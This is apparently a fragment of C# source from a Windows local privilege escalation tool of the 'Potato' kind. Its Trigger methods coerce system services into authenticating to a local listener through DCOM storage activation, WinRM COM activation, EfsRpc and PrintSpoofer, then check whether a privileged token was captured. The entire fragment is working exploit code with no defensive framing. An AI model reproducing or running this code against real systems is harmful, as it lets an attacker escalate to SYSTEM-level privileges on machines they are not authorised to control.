public bool TriggerDCOM()
{
int result = 0;
try {
if (!fakeWinRM)
{
result = Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero, true, out ILockBytes lockBytes);
result = Ole32.StgCreateDocfileOnILockBytes(lockBytes, Ole32.STGM.CREATE | Ole32.STGM.READWRITE | Ole32.STGM.SHARE_EXCLUSIVE, 0, out IStorage storage);
StorageTrigger storageTrigger = new StorageTrigger(storage, string.Format("127.0.0.1[{0}]", port), TowerProtocol.EPM_PROTOCOL_TCP);
Ole32.MULTI_QI[] qis = new Ole32.MULTI_QI[1];
qis[0].pIID = Ole32.IID_IUnknownPtr;
result = Ole32.CoGetInstanceFromIStorage(null, ref clsId, null, Ole32.CLSCTX.CLSCTX_LOCAL_SERVER, storageTrigger, 1, qis);
}
else
{
Type comType = Type.GetTypeFromCLSID(clsId);
var instance = Activator.CreateInstance(comType);
}
} catch (Exception e) {
if (!negotiator.Authenticated)
{
Console.Write(String.Format("{0}\n", e.Message));
}
}
dcomComplete = true;
return(negotiator.Authenticated);
}
public bool Trigger()
{
bool result = false;
try {
switch (mode)
{
case Mode.DCOM:
Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero, true, out ILockBytes lockBytes);
Ole32.StgCreateDocfileOnILockBytes(lockBytes, Ole32.STGM.CREATE | Ole32.STGM.READWRITE | Ole32.STGM.SHARE_EXCLUSIVE, 0, out IStorage storage);
StorageTrigger storageTrigger = new StorageTrigger(storage, string.Format("127.0.0.1[{0}]", port), TowerProtocol.EPM_PROTOCOL_TCP);
Ole32.MULTI_QI[] qis = new Ole32.MULTI_QI[1];
qis[0].pIID = Ole32.IID_IUnknownPtr;
Ole32.CoGetInstanceFromIStorage(null, ref clsId, null, Ole32.CLSCTX.CLSCTX_LOCAL_SERVER, storageTrigger, 1, qis);
result = negotiator.Authenticated;
break;
case Mode.WinRM:
Type comType = Type.GetTypeFromCLSID(clsId);
var instance = Activator.CreateInstance(comType);
result = negotiator.Authenticated;
break;
case Mode.EfsRpc:
efsRpc.TriggerEfsRpc();
if (efsRpc.Token != IntPtr.Zero)
{
result = true;
}
break;
case Mode.PrintSpoofer:
printSpoofer.TriggerPrintSpoofer();
if (printSpoofer.Token != IntPtr.Zero)
{
result = true;
}
break;
}
} catch (Exception e) {
if (!negotiator.Authenticated)
{
Console.Write(String.Format("{0}\n", e.Message));
}
}
dcomComplete = true;
return(result);
}
